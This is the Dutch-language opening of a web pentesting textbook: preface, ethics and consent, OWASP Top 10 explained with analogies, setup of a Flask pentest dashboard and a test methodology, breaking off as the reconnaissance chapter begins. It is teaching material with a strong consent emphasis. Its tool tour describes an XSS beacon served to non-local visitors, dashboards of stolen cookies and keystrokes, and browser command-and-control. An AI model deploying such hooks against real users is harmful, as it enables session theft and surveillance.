Voorwoord

Er is een beroep dat je niet leert op de universiteit, niet uit een boek, en al helemaal niet van een YouTube-video van achttien minuten met dramatische muziek en een thumbnail waarop iemand een hoodie draagt in een donkere kamer. Dat beroep is penetratietester. En het is tijd dat we daar eerlijk over zijn.

Dit boek gaat over het testen van webapplicaties. Niet het soort testen waarbij je met een checklist door een formulier loopt en aan het eind een PDF genereert die niemand leest. Nee, het soort testen waarbij je probeert om in te breken in systemen die gebouwd zijn door mensen die oprecht dachten dat ze veilig waren. Soms hebben ze gelijk. Meestal niet.

Waarom dit boek bestaat

De wereld heeft geen tekort aan beveiligingsboeken. Wat de wereld wel heeft, is een tekort aan beveiligingsboeken die eerlijk zijn. De meeste boeken over penetratietesten lezen alsof ze geschreven zijn door een commissie: droog, voorzichtig, en zo bang om iets controversieels te zeggen dat ze eindigen met alinea’s als “het is belangrijk om de beveiligingspostuur van de organisatie te evalueren in de context van het risicolandschap”. Niemand heeft daar ooit iets van geleerd.

Dit boek neemt een andere aanpak. We combineren twee perspectieven die op het eerste gezicht niet bij elkaar lijken te passen, maar die samen een completer beeld geven dan elk afzonderlijk zou kunnen.

De twee perspectieven

Het eerste perspectief is dat van de nieuwsgierige wetenschapper. Iemand die zich verwondert over hoe het web eigenlijk werkt, die geniet van historische anekdotes, en die de neiging heeft om technische concepten uit te leggen met vergelijkingen die iedereen begrijpt. Waarom is HTTP stateless? Nou, stel je voor dat je elke ochtend naar dezelfde bakker gaat, maar hij je elke keer opnieuw vraagt wie je bent en wat je wilt. Dat is HTTP. Cookies zijn het equivalent van een stempelkaart die je zelf meeneemt, zodat de bakker tenminste weet dat je vaker komt.

Het tweede perspectief is dat van iemand die al te lang in deze industrie werkt en het vermogen heeft verloren om beleefd te doen over incompetentie. Iemand die de neiging heeft om hardop te vragen waarom, in het jaar 2026, bedrijven nog steeds wachtwoorden opslaan in plain text. Iemand die vindt dat de beveiliging van de meeste webapplicaties het niveau heeft van een fietsenrek zonder slot: het staat er, het ziet er officieel uit, maar het houdt precies niemand tegen.

Samen vormen deze twee perspectieven de toon van dit boek: warm maar scherp, nieuwsgierig maar cynisch, en altijd eerlijk.

Over toestemming en ethiek

Laten we dit meteen helder maken, want het is te belangrijk om naar een bijlage te verbannen.

Alles wat je in dit boek leert, mag je uitsluitend toepassen op systemen waarvoor je expliciete, schriftelijke toestemming hebt. Geen mondeling akkoord. Geen “mijn vriend zei dat het goed was”. Geen “ik test mijn eigen bedrijf, dat mag toch”. Schriftelijk. Met een scope. Met een datum. Met een handtekening.

In Nederland valt ongeautoriseerde toegang tot computersystemen onder artikel 138ab van het Wetboek van Strafrecht. De maximumstraf is vier jaar gevangenisstraf. Dat is geen theoretisch risico. Mensen worden ervoor veroordeeld. Regelmatig. En de rechter maakt geen onderscheid tussen iemand die “gewoon even wilde kijken” en iemand die actief schade aanrichtte. Toegang zonder toestemming is toegang zonder toestemming, ongeacht je intenties.

De technieken in dit boek zijn krachtig. Ze laten je dingen doen die de meeste ontwikkelaars niet voor mogelijk houden. Maar kracht zonder verantwoordelijkheid is gewoon vandalisme. En vandalisme is geen pentest, hoe technisch onderlegd je ook bent.

De wet maakt geen onderscheid tussen een inbreker met een koevoet en een inbreker met een laptop. Beide eindigen met een strafblad. Het enige verschil is dat de laptop-inbreker vaak denkt dat hij slim genoeg is om niet gepakt te worden. Spoiler: dat is hij niet.

Er is ook een ethische dimensie die verder gaat dan de wet. Een penetratietest raakt echte systemen waar echte mensen van afhankelijk zijn. Als je een test uitvoert op een ziekenhuisnetwerk en je brengt per ongeluk een systeem down, dan gaat het niet om bits en bytes – dan gaat het om patientenzorg. Als je bij een webshop de database extraheert voor je rapport, dan kijk je naar echte persoonsgegevens van echte klanten. Die verantwoordelijkheid weegt zwaar, en dat hoort ook zo.

Gebruik deze kennis om systemen veiliger te maken. Gebruik ze om organisaties te helpen hun zwakke plekken te vinden voordat iemand anders dat doet. Gebruik ze nooit om schade aan te richten.

Wat je leert

Dit boek leert je hoe webapplicaties echt werken – niet de versie uit het marketingmateriaal, maar de versie met alle lelijke stukken erbij. Je leert hoe aanvallers denken, welke patronen ze herkennen, en hoe ze die patronen misbruiken.

Je leert over Cross-Site Scripting, SQL Injection, Server-Side Request Forgery, en een hele rits andere kwetsbaarheden waarvan de namen alleen al onheilspellend klinken. Je leert hoe je ze vindt, hoe je ze exploiteert in een gecontroleerde omgeving, en – misschien wel het belangrijkste – hoe je ze rapporteert op een manier die ervoor zorgt dat ze daadwerkelijk worden opgelost.

Wat je niet leert

Dit boek maakt je geen hacker. Dat woord is sowieso zo misbruikt dat het nauwelijks nog betekenis heeft. Dit boek maakt je een betere beveiligingstester. Het verschil is dat een beveiligingstester rapporteert, documenten levert, en werkt binnen de grenzen van een opdracht. Een hacker in de populaire zin van het woord doet geen van die dingen.

Dit boek leert je ook geen netwerk-penetratietesting, Active Directory-aanvallen, of fysieke beveiliging. Daarvoor is het zusterboek, Incompetent Bastards: Het Netwerk.

Over Incompetent Bastard

Door dit hele boek heen gebruiken we een tool die we Incompetent Bastard noemen. Ja, de naam is bewust gekozen. Het is een knipoog naar de staat van beveiliging in onze industrie – een industrie waarin de meeste kwetsbaarheden niet voortkomen uit briljante aanvallen, maar uit basale fouten die door basale controles voorkomen hadden kunnen worden.

IB is een Flask-gebaseerd security assessment dashboard dat speciaal gebouwd is voor penetratietesting. Het combineert een Command Library van 194 commando’s, vijf interactieve web labs (XSS, XXE, CSRF, SQLi, SSRF), acht payload generators, een Task Runner met allowlisted commando’s, een Screen Terminal, en een compleet findings management systeem met CVSS 4.0 scoring, evidence management, en automatische rapportgeneratie via pandoc en LaTeX.

IB is geen magisch wapen. Het is een werkbank. Net zoals een timmerman niet beter wordt van het kopen van dure gereedschappen maar van het leren gebruiken van de gereedschappen die hij heeft, zo word jij niet een betere pentester van het installeren van IB. Je wordt een betere pentester door te begrijpen wat elke tool doet en waarom je hem op dat moment inzet.

Het is ook legacy code. Met Nederlandse variabelenamen. Met functies als bevindingen_halen en zet_actief. Met een database waarin een finding een “bevinding” heet en een template een “bevindingen_template”. Dit is bewust niet opgeschoond, want echte tools in echte omgevingen zien er zo uit. Perfecte code bestaat alleen in tutorials.

Elk hoofdstuk in dit boek bevat praktische oefeningen met IB. Je zult het opzetten, configureren, en gebruiken alsof het een dagelijks instrument is – want dat is het, voor iedereen die dit vak serieus neemt.

Hoe dit boek te lezen

Je kunt dit boek van voor naar achter lezen, en dat is ook de aanbevolen volgorde. Elk hoofdstuk bouwt voort op het vorige. Maar als je al ervaring hebt, kun je ook direct naar een specifiek hoofdstuk springen. Elk hoofdstuk is zo geschreven dat het op zichzelf te begrijpen is, hoewel je dan af en toe een referentie zult missen.

De IB Tips die je door het boek heen vindt (gemarkeerd met > **IB** --) geven praktische aanwijzingen voor het gebruik van Incompetent Bastard bij de betreffende techniek.

Over de doelgroep

Dit boek is geschreven voor mensen die al enige technische achtergrond hebben. Je hoeft geen expert te zijn, maar je moet weten wat een HTTP request is, je moet je weg kunnen vinden in een terminal, en het woord “port” mag geen verwarring oproepen met iets dat je drinkt bij het dessert.

Als je een systeembeheerder bent die wil begrijpen hoe aanvallers denken: welkom. Als je een ontwikkelaar bent die wil weten welke fouten je onbewust maakt: welkom. Als je een aspirant-pentester bent die het vak wil leren: welkom. Als je een manager bent die wil begrijpen waar al dat beveiligingsbudget naartoe gaat: welkom, en bereid je voor op oncomfortabele antwoorden.

Conventies in dit boek

Door het hele boek heen gebruiken we een aantal conventies:

• Codeblokken bevatten commando’s en payloads die je kunt kopieren en aanpassen.
• > **IB** -- blokken geven tips voor het gebruik van Incompetent Bastard.
• Technische termen staan in het Engels, de rest in het Nederlands.
• Wanneer we “de aanvaller” zeggen, bedoelen we jou – in je rol als pentester met toestemming. Niet iemand anders. Niet zonder toestemming.

Dankwoord

Dit boek was niet mogelijk geweest zonder de talloze ontwikkelaars die, ondanks alle waarschuwingen, handleidingen, en beveiligingsframeworks, nog steeds code schrijven die kwetsbaar is voor aanvallen die al twintig jaar gedocumenteerd zijn. Zonder jullie zou dit boek niet nodig zijn geweest, en eerlijk gezegd zou de hele penetratietestindustrie niet bestaan. Bedankt voor de werkgelegenheid.

Dank aan de OWASP-gemeenschap, die al meer dan twintig jaar dezelfde boodschap verkondigt met het geduld van een kleuterjuf die voor de honderdste keer uitlegt dat je je handen moet wassen voor het eten.

Dank aan iedereen die ooit een bug report heeft ingediend dat begon met “dit is eigenlijk geen beveiligingsprobleem, maar…” – het was wel een beveiligingsprobleem. Het is altijd een beveiligingsprobleem.

Dank aan de open source gemeenschap, die tools bouwt en deelt zodat we niet allemaal het wiel opnieuw hoeven uit te vinden. Incompetent Bastard zelf is gebouwd op de schouders van Flask, SQLAlchemy, pandoc, en tientallen andere projecten die onderhouden worden door mensen die daar zelden genoeg waardering voor krijgen.

En tot slot dank aan de lezer. Het feit dat je dit boek hebt opgepakt in plaats van een gratis tutorial op het internet te volgen, zegt iets over je toewijding aan het vak. Laten we die toewijding de komende honderden pagina’s goed gebruiken.

Veel plezier. En vergeet nooit: alleen met toestemming.

Jan-Karel Visser, Kropswolde, 2026

Inleiding

De stad zonder bestemmingsplan

Op 12 maart 1989 schreef een Britse natuurkundige genaamd Tim Berners-Lee een bescheiden voorstel van enkele pagina’s, getiteld “Information Management: A Proposal”. Zijn baas bij CERN schreef er “Vague, but exciting” op en legde het terzijde. Het is misschien de meest profetische marginale opmerking in de geschiedenis van de technologie, want dat vage-maar-opwindende voorstel werd het World Wide Web.

Wat Berners-Lee in gedachten had, was elegant in zijn eenvoud: documenten die naar elkaar konden verwijzen via hyperlinks, opgeslagen op servers die met elkaar konden communiceren via een simpel protocol. Het was bedoeld voor wetenschappers die onderzoeksresultaten wilden delen. Het was niet bedoeld voor internetbankieren, sociale media, of webshops die je op drie uur ’s nachts verleiden tot de aankoop van een opblaasbaar eenhoornskostuum.

Maar hier zijn we dan.

Als je het web zou vergelijken met een stad, dan is het een stad die gebouwd is zonder bestemmingsplan. De eerste paar straten waren keurig aangelegd – goed verlicht, overzichtelijk, met duidelijke borden. Dat was het web van de vroege jaren negentig: statische HTML-pagina’s, een paar afbeeldingen, en het overweldigende gevoel dat je deelnam aan iets nieuws en bijzonders.

Toen kwamen de winkeliers. En de bankiers. En de entertainmentindustrie. En ineens moesten er flatgebouwen komen waar huisjes hadden gestaan, werden er snelwegen dwars door woonwijken getrokken, en begon iedereen kelders te graven zonder te controleren of er misschien al leidingen lagen. Het web van vandaag is het resultaat: een metropool van onvoorstelbare omvang en complexiteit, gebouwd op fundamenten die ontworpen waren voor een dorpje.

HTTP, het protocol dat Berners-Lee ontwierp, was stateless. Elke keer dat je een pagina opvraagt, is de server alles vergeten wat hij over je wist. Het is alsof je elke dag naar dezelfde bakker gaat, maar hij je elke keer opnieuw vraagt wie je bent. Om dit op te lossen bedachten Netscape in 1994 cookies – kleine tekstbestandjes die je browser opslaat, zodat de server je de volgende keer herkent. Het is het digitale equivalent van een stempelkaart: de bakker weet niet echt wie je bent, maar als je die kaart laat zien, geeft hij je je gebruikelijke bestelling.

Dat klinkt onschuldig. Maar die cookies werden nu gebruikt voor sessiemanagement, authenticatie, tracking, personalisatie, en nog honderd andere dingen die Netscape in 1994 niet had voorzien. En als iemand je stempelkaart kan kopieren – of, in webtermen, je session cookie kan stelen – dan kan diegene zich voordoen als jou. Dat is, in essentie, de kern van veel aanvallen die we in dit boek zullen behandelen.

De afgelopen drie decennia is het web gegroeid van een netwerk van statische documenten naar een platform waarop de gehele menselijke beschaving draait. We doen ons bankzaken via het web. We beheren onze gezondheidsgegevens via het web. We besturen kritieke infrastructuur via het web. En de fundamentele architectuur onder dit alles is nog steeds een protocol dat ontworpen was om wetenschappelijke papers te delen.

Stel je voor dat je een stad bouwt op de fundamenten van een tuinhuisje. Dat is het moderne web. En het is de taak van de penetratietester om de scheuren in die fundamenten te vinden voordat het gebouw instort.

De OWASP Top 10: een catalogus van collectief falen

Als je een arts zou vragen wat de tien meest voorkomende ziekten zijn, zou je een lijst verwachten die af en toe verandert naarmate de medische wetenschap vordert. Nieuwe ziekten worden ontdekt, oude worden uitgeroeid, en de rangorde verschuift.

De OWASP Top 10 – de lijst van de tien meest kritieke beveiligingsrisico’s voor webapplicaties – zou op dezelfde manier moeten werken. Maar dat doet hij niet. De lijst verandert wel, maar niet omdat we oude problemen hebben opgelost. Hij verandert omdat we er nieuwe problemen bij hebben gekregen terwijl we de oude gewoon laten liggen. Het is alsof de medische wereld malaria nog steeds niet had weten te behandelen, maar ondertussen wel vijf nieuwe auto-immuunziekten had ontdekt.

Laten we de huidige OWASP Top 10 doorlopen, niet als een academische exercitie, maar als een rondleiding door de schade die decennia van slordig programmeren hebben aangericht.

A1 – Broken Access Control

Dit staat op nummer een. Niet omdat het een nieuw probleem is, maar omdat het zo oud en zo wijdverspreid is dat het weigert om weg te gaan, als een huisgenoot die al lang geleden had moeten verhuizen maar nog steeds op de bank zit.

Broken Access Control betekent dat een applicatie niet goed controleert of een gebruiker daadwerkelijk mag doen wat hij probeert te doen. Mag Jan het profiel van Piet bekijken? De applicatie zegt: “Jan heeft een geldige sessie, dus ja.” Maar niemand heeft ooit geprogrammeerd dat Jan alleen zijn eigen profiel mag zien.

Het is het digitale equivalent van een gebouw waar alle deuren wel een slot hebben, maar waar iedereen dezelfde sleutel heeft gekregen.

A2 – Cryptographic Failures

Vroeger heette dit “Sensitive Data Exposure”, maar OWASP heeft het hernoemd omdat het probleem niet is dat data blootgesteld wordt – het probleem is dat de cryptografie die die data had moeten beschermen, niet deugt.

Dit gaat over wachtwoorden die als MD5-hash worden opgeslagen (MD5 is zo zwak dat je er beter een briefje op de monitor kunt plakken – het effect is hetzelfde). Het gaat over HTTPS-certificaten die verlopen zijn. Het gaat over encryptiesleutels die hardcoded in de broncode staan, als een geheime deur in een muur die iedereen kan zien.

A3 – Injection

SQL Injection. Command Injection. LDAP Injection. De naam verandert, het principe blijft: de applicatie neemt gebruikersinvoer en verwerkt die als code. Het is alsof je een bestelling opneemt in een restaurant en de klant zegt: “Ik wil graag een biefstuk, en doe de kluis ook maar open.” En de ober het gewoon doorgeeft aan de keuken.

We weten al meer dan twintig jaar hoe je dit voorkomt: parameterized queries, input validation, prepared statements. Het staat in elk handboek. Het staat in elke cursus. Het staat in elke code review checklist. En toch is het nog steeds op plek drie.

A4 – Insecure Design

Dit is een relatief nieuwe toevoeging, en het is de meest pijnlijke. Want Insecure Design betekent niet dat de implementatie een fout bevat – het betekent dat het ontwerp zelf onveilig is. Je kunt de code perfect schrijven, alle best practices volgen, en nog steeds een onveilige applicatie opleveren als het ontwerp niet klopt.

Het is het verschil tussen een huis dat slecht gebouwd is en een huis dat op de verkeerde plek staat. Je kunt het huis repareren, maar je kunt het niet verplaatsen.

A5 – Security Misconfiguration

De standaardinstellingen zijn onveilig. De foutmeldingen lekken informatie. De directory listing staat aan. De debug modus draait in productie. De admin console is toegankelijk via het internet. Het default wachtwoord is nooit veranderd.

Security misconfiguration is het bewijs dat de meeste organisaties hun software behandelen als een meubelstuk van IKEA: ze volgen de instructies net genoeg om het overeind te krijgen, maar al die extra schroeven die overblijven? Die gooien ze weg. Die extra schroeven zijn je beveiligingsinstellingen.

A6 – Vulnerable and Outdated Components

De gemiddelde webapplicatie is als een huis dat gebouwd is met materialen van de sloop. Stukjes jQuery van tien jaar geleden. Een logging library die al drie jaar niet meer onderhouden wordt. Een framework waarvan versie 2.3.1 een bekende kwetsbaarheid heeft, maar niemand heeft ooit gecontroleerd welke versie er draait.

Dit is geen technisch probleem. Dit is een managementprobleem. Iemand moet verantwoordelijk zijn voor het bijhouden van dependencies. Maar niemand wil die persoon zijn, want het is saai werk dat nooit complimenten oplevert – totdat het misgaat, en dan is het ineens ieders probleem.

A7 – Identification and Authentication Failures

Zwakke wachtwoorden worden geaccepteerd. Brute force is niet geblokkeerd. Multi-factor authenticatie is “op de roadmap”. Session tokens worden niet geroteerd na het inloggen. Wachtwoord-reset tokens verlopen nooit.

Als Broken Access Control het probleem is dat je overal binnen kunt als je eenmaal binnen bent, dan is dit het probleem dat binnenkomen te makkelijk is. Het zijn twee kanten van dezelfde medaille, en die medaille is gemaakt van karton.

A8 – Software and Data Integrity Failures

Dit gaat over situaties waarin een applicatie aanneemt dat data die van buiten komt, te vertrouwen is. Ongevalideerde deserialisatie. CI/CD pipelines zonder integriteitscontroles. Automatische updates zonder signature verification.

Het is alsof je een pakketje aanneemt van een koerier die geen uniform draagt, geen identificatie heeft, en aanbelt bij het verkeerde adres. Maar het pakketje ziet er goed uit, dus je maakt het gewoon open.

A9 – Security Logging and Monitoring Failures

Als een inbreker je huis binnendringt en je hebt geen beveiligingscamera’s, geen alarm, en geen buren die opletten, dan weet je niet eens dat er ingebroken is tot je op een dag je sieraden mist.

De meeste webapplicaties loggen niet genoeg. Ze loggen niet de juiste dingen. Ze bewaren de logs niet lang genoeg. En als ze al loggen, kijkt er niemand naar. Security monitoring is het digitale equivalent van een rookmelder die je hebt geinstalleerd maar waarvan je de batterijen hebt verwijderd omdat hij af en toe een piepje gaf.

A10 – Server-Side Request Forgery (SSRF)

SSRF is de nieuwkomer die meteen op de A-lijst terechtkwam. Bij SSRF misleid je een server om namens jou verzoeken te doen naar plekken waar jij zelf niet bij kunt. Het is alsof je een medewerker vraagt om even een dossier uit de kluis te halen, en hij doet het zonder te vragen waarom jij dat dossier nodig hebt.

Met de opkomst van cloud computing is SSRF bijzonder gevaarlijk geworden, want die cloud metadata endpoints die alleen toegankelijk zouden moeten zijn vanaf de server zelf? Een SSRF-kwetsbaarheid geeft je precies die toegang.

Het fascinerende aan deze lijst is niet wat erop staat, maar hoe weinig hij verandert. Het is alsof de medische wereld jaar na jaar publiceert dat handen wassen ziektes voorkomt, en iedereen zegt “ja, goed punt”, en vervolgens niet zijn handen wast.

De reden dat penetratietesting als beroep bestaat, is niet dat aanvallen zo geavanceerd zijn. Het is dat verdediging zo slordig is.

Incompetent Bastard opzetten

Genoeg theorie. Laten we iets doen.

Incompetent Bastard is een Flask-applicatie die je lokaal draait. Het is bewust ontworpen om alleen op je eigen machine te draaien – niet op een server die bereikbaar is via het internet. Dit is een pentest-werkbank, geen productiesite.

Vereisten

Je hebt het volgende nodig:

• Python 3.10 of hoger
• pip (Python package manager)
• git (om de repository te klonen)
• Een terminal waarin je je thuisvoelt
• Optioneel: pandoc en LaTeX (voor rapportgeneratie)

Stap 1: Clone de repository

git clone <repository-url> incompetentbastard
cd incompetentbastard

Stap 2: Virtual environment aanmaken en activeren

python3 -m venv .venv && . .venv/bin/activate

Een virtual environment is het equivalent van een schone werkbank. Alles wat je installeert blijft in die omgeving, en je vervuilt je systeem-Python niet met dependencies die je over drie maanden vergeten bent.

Stap 3: Dependencies installeren

pip install -r requirements.txt

Dit installeert Flask, SQLAlchemy, Flask-Migrate, WTForms, de sh library voor pandoc-integratie, en een hele rits andere packages die IB nodig heeft.

Stap 4: De applicatie starten

flask --app app:create_app run --host 127.0.0.1 --port 5000

Let op het adres: 127.0.0.1. Dat is localhost. Dat is alleen jouw machine. Dit is bewust. IB luistert standaard niet op 0.0.0.0 omdat het niet de bedoeling is dat je pentest-dashboard bereikbaar is voor het hele netwerk.

Stap 5: Open je browser

Navigeer naar http://127.0.0.1:5000/dashboard. Als alles goed is gegaan, zie je het IB dashboard. Als je geen dashboard ziet maar een pagina met “Een moment a.u.b.” en een script tag, dan werkt de beveiliging: je benadert IB niet vanaf localhost, en de applicatie serveert je in plaats daarvan het XSS beacon script.

Ja, je leest dat goed. Als je IB benadert vanaf een ander IP-adres dan localhost, krijg je een XSS hook geserveerd in plaats van het dashboard. Dat is een bewuste ontwerpkeuze. IB is tegelijkertijd het dashboard voor de pentester en een payload delivery platform voor doelwitten. Meer hierover in het hoofdstuk over XSS.

Omgevingsvariabelen

IB wordt geconfigureerd via environment variables. De belangrijkste:

Als SECRET_KEY niet is gezet, genereert IB bij elke herstart een nieuwe. Dat betekent dat alle sessies ongeldig worden. Voor ontwikkeling is dat prima. Voor een langlopende engagement wil je een vaste key instellen.

Welkom op het dashboard

Als je IB opent op http://127.0.0.1:5000/dashboard, betreed je de cockpit van je pentest. Laten we een rondleiding maken.

Het hoofdscherm

Het dashboard is opgebouwd uit meerdere panelen die je in een oogopslag een overzicht geven van je engagement:

• Hooked Clients – bovenaan zie je hoeveel browsers momenteel “hooked” zijn via het XSS beacon. Dit zijn browsers die het x.js script hebben geladen en nu actief data terugsturen naar IB.
• Cookies – een lijst van gestolen cookies van hooked clients, met datum, IP-adres, en de inhoud van de cookie.
• Keylogger – toetsaanslagen die zijn vastgelegd door het XSS beacon.
• LocalStorage – de inhoud van localStorage van hooked browsers.
• Findings – een overzicht van alle bevindingen die je hebt vastgelegd, met hun OWASP-categorie en CVSS-score.
• Notes – vrije notities die je tijdens het testen kunt maken.

De navigatie

Via de navigatiebalk heb je toegang tot alle modules:

• Commands – de Command Library met 194 commando’s, doorzoekbaar en gecategoriseerd. Van web_sqli_union tot ad_bloodhound_collect, van shell_powercat tot tunnel_ssh_socks.
• Findings – het findings management systeem waar je bevindingen aanmaakt, bewerkt, categoriseert, en exporteert.
• Tasks – de Task Runner waarmee je voorgedefinieerde taken kunt uitvoeren: network scans, brute force aanvallen, exploit scripts.
• Screen – een terminal interface voor het bekijken van screen sessies.
• Notes – een notitiesysteem dat je kunt koppelen aan je rapport.
• Recordings – opnames van terminal sessies.
• Files – bestandsbeheer voor payloads en tools.

De labs

Naast het dashboard heeft IB vijf interactieve labs, elk met een eigen blueprint:

1. XSS Lab (/xxs/) – een compleet Cross-Site Scripting platform met cookie stealing, keylogging, localStorage exfiltratie, en command & control voor hooked browsers.
2. XXE Lab (/xxe/) – XML External Entity out-of-band data exfiltratie.
3. CSRF Lab (/csrf.) – Cross-Site Request Forgery injection endpoints.
4. SQLi Lab (/sqli2/) – SQL Injection oefenomgeving.
5. SSRF Lab (/ssrf/) – Server-Side Request Forgery redirect endpoints voor cloud metadata simulatie.

Elk lab is ontworpen als een functioneel aanvalsplatform. Dit zijn geen speelgoedvoorbeelden – dit zijn werkende tools die je inzet tijdens een echte pentest.

Finding templates

IB wordt geleverd met veertien standaard finding templates, gebaseerd op de meest voorkomende webapplicatie-kwetsbaarheden:

Elke template bevat een volledige beschrijving van de kwetsbaarheid, de impact, de aanbeveling, CVSS 4.0 vectoren, CWE-referenties, en MITRE ATT&CK technique ID’s. Wanneer je een bevinding aanmaakt, selecteer je de template en vult je de specifieke details in: de locatie, het bewijs, de exploitstappen.

CVSS 4.0 Calculator

IB bevat een ingebouwde CVSS 4.0 calculator die je kunt gebruiken bij het aanmaken van findings. Je stelt de elf base metrics in – Attack Vector, Attack Complexity, Attack Requirements, Privileges Required, User Interaction, en de zes impact metrics – en IB berekent de score en severity rating automatisch.

De calculator is beschikbaar via de API op /api/cvss4/calculate en is geintegreerd in het findings formulier. Je hoeft niet meer naar een externe website te gaan om je CVSS-score te berekenen.

Rapportgeneratie

Wanneer je klaar bent met testen, genereert IB een rapport op basis van je bevindingen en notities. Het rapport wordt gegenereerd in LaTeX, geconverteerd naar Markdown via pandoc, en kan van daaruit naar elk gewenst formaat.

Het rapport bevat: - Een verkenningssectie op basis van je notities - Alle bevindingen, gegroepeerd per template - OWASP-categorisatie en CVSS-scores - Kruisverwijzingen tussen bevindingen - Screenshots en evidence

De methodologie: hoe een webpentest eruitziet

Een penetratietest is geen willekeurige aanval. Het is een gestructureerd proces, net zo methodisch als een wetenschappelijk experiment. Je hebt een hypothese (dit systeem is kwetsbaar), een methode (zo ga ik dat testen), resultaten (dit heb ik gevonden), en conclusies (dit moet er veranderen).

De methodologie die we in dit boek volgen, bestaat uit vijf fasen. Elke fase bouwt voort op de vorige, en het overslaan van een fase is het equivalent van een arts die een diagnose stelt zonder de patient te onderzoeken.

Fase 1: Scope en planning

Voordat je ook maar een enkele byte over het netwerk stuurt, moet je weten wat je mag testen. De scope definieert de grenzen van je engagement:

• Welke domeinen en IP-adressen zijn in scope?
• Welke applicaties mag je testen?
• Zijn er systemen die expliciet uitgesloten zijn?
• Wat zijn de tijdsvensters waarbinnen je mag testen?
• Wie is je aanspreekpunt bij de opdrachtgever?
• Wat doe je als je kritieke kwetsbaarheden vindt?

Dit is het moment waarop je de schriftelijke toestemming regelt. Geen scope, geen toestemming, geen test. Zo simpel is het.

Fase 2: Verkenning (reconnaissance)

Dit is de fase waarin je alles leert over je doelwit zonder het daadwerkelijk aan te vallen. Je verzamelt informatie uit publieke bronnen: DNS-records, WHOIS-data, certificaattransparantielogs, sociale media, vacatureteksten (die verrassend veel onthullen over de technologie-stack van een bedrijf).

Je brengt de aanvalsoppervlakte in kaart: welke poorten zijn open? Welke services draaien er? Welke technologieen worden gebruikt? Welke versies?

Fase 3: Scanning en analyse

Nu ga je actiever te werk. Je gebruikt scanners om kwetsbaarheden te identificeren. Je test de applicatie handmatig: hoe reageert hij op onverwachte invoer? Wat gebeurt er als je een enkele quote in een zoekveld typt? Wat als je de waarde van een hidden field verandert? Wat als je een verzoek stuurt zonder session cookie?

Dit is de fase waarin je de OWASP Top 10 als checklist gebruikt. Niet als een afvinklijst, maar als een denkraamwerk: voor elke categorie vraag je je af of de applicatie kwetsbaar zou kunnen zijn, en dan test je die hypothese.

Fase 4: Exploitatie

Je hebt kwetsbaarheden gevonden. Nu ga je bewijzen dat ze daadwerkelijk misbruikt kunnen worden. Dit is niet het moment voor theoretische risico’s – dit is het moment waarop je laat zien wat een aanvaller echt zou kunnen doen.

Kun je via die SQL Injection bij de database? Kun je via die XSS session cookies stelen? Kun je via die SSRF de cloud metadata bereiken?

Het doel is niet om zoveel mogelijk schade aan te richten. Het doel is om de impact te demonstreren op een manier die de opdrachtgever begrijpt en serieus neemt. Een screenshot van admin:admin als werkende credentials is overtuigender dan een pagina uitleg over waarom zwakke wachtwoorden een risico vormen.

Fase 5: Rapportage

Dit is de fase die de meeste pentesters het minst leuk vinden en die de opdrachtgever het belangrijkst vindt. Je rapport is het enige tastbare resultaat van je werk. Als je rapport slecht is, maakt het niet uit hoe briljant je exploits waren.

Een goed pentest-rapport bevat:

• Een management samenvatting die een niet-technisch persoon begrijpt
• Een gedetailleerde beschrijving van elke bevinding
• De impact in zakelijke termen
• Reproduceerstappen zodat het ontwikkelteam het kan verifieren
• Concrete aanbevelingen, geprioriteerd op risico
• Verwijzingen naar standaarden (OWASP, CWE, MITRE ATT&CK)

De cyclus herhaalt zich

Een pentest is geen eenmalige gebeurtenis. Het is een momentopname. De applicatie verandert, nieuwe features worden toegevoegd, dependencies worden geupdate (of niet). Een goede pentest levert niet alleen een rapport op, maar ook een baseline waartegen toekomstige tests gemeten kunnen worden.

Een noot over automatisering en handmatig testen

Er is een hardnekkige mythe in de beveiligingsindustrie dat je kwetsbaarheden kunt vinden door een scanner te draaien en het rapport te lezen. Het is dezelfde mythe als beweren dat je een taal leert door Google Translate te gebruiken.

Scanners zijn nuttig. Ze vinden de voor de hand liggende dingen. Ze vinden de standaardfouten, de bekende CVE’s, de laaghangend fruit. Maar ze begrijpen geen context. Een scanner weet niet dat die specifieke parameter in die specifieke context leidt tot een chain van kwetsbaarheden die samen veel erger zijn dan elk afzonderlijk. Een scanner weet niet dat die ogenschijnlijk onschuldige redirect functie misbruikt kan worden om interne services te bereiken.

Handmatig testen is waar het echte werk zit. En dat is precies waarom IB ontworpen is als een werkbank en niet als een scanner: het helpt je bij het handmatige werk, het automatiseert het saaie deel (rapportage, categorizering, evidence management), en het laat het denkwerk aan jou.

Hoe de rest van dit boek is opgebouwd

De komende hoofdstukken volgen een logische volgorde die de methodologie weerspiegelt:

• Hoofdstuk 2-3: Verkenning en scanning – het in kaart brengen van je doelwit
• Hoofdstuk 4-10: De kwetsbaarheden – per type, met theorie, praktijk, en IB-oefeningen
• Hoofdstuk 11: Payload generatie en delivery
• Hoofdstuk 12: Rapportage en findings management
• Hoofdstuk 13: Geavanceerde technieken en chaining

Elk hoofdstuk bevat: - Historische context en achtergrond - Technische uitleg met voorbeelden - Praktische oefeningen met IB - IB Tips voor efficient gebruik van de tool - Referenties naar OWASP, CWE, en MITRE ATT&CK

Samenvatting en referentietabel

We hebben in dit hoofdstuk de fundamenten gelegd: de geschiedenis van het web en waarom het inherent onveilig is, de OWASP Top 10 als catalogus van steeds terugkerende fouten, het opzetten van Incompetent Bastard, een rondleiding door het dashboard, en de methodologie die we door het hele boek zullen volgen.

Hier is een referentietabel die de onderwerpen uit dit hoofdstuk koppelt aan de bijbehorende IB features:

In het volgende hoofdstuk beginnen we met de verkenningsfase. We gaan kijken hoe je een webapplicatie in kaart brengt, welke informatie je kunt verzamelen zonder ook maar een enkele aanval uit te voeren, en hoe je die informatie gebruikt om je teststrategie te bepalen.

Maar eerst: zorg dat IB draait. De rest van dit boek is praktijk.

Verkenning

De cartograaf met een laptoptas

In 1569 publiceerde Gerardus Mercator – een Vlaming, laten we dat even vaststellen – zijn beroemde wereldkaart. Het was een meesterwerk van wiskunde en verbeelding, maar vooral van geduld. Mercator had nooit zelf de kusten van Afrika bevaren of de Stille Oceaan overgestoken. Hij werkte met verslagen van zeelieden, met schetsmatige portulaankaarten, met verhalen die na vijf keer doorvertellen nauwelijks meer op de werkelijkheid leken dan een gemiddelde vacatureomschrijving. Toch produceerde hij iets bruikbaars. Iets waarmee je ergens kon komen zonder op de rotsen te lopen.

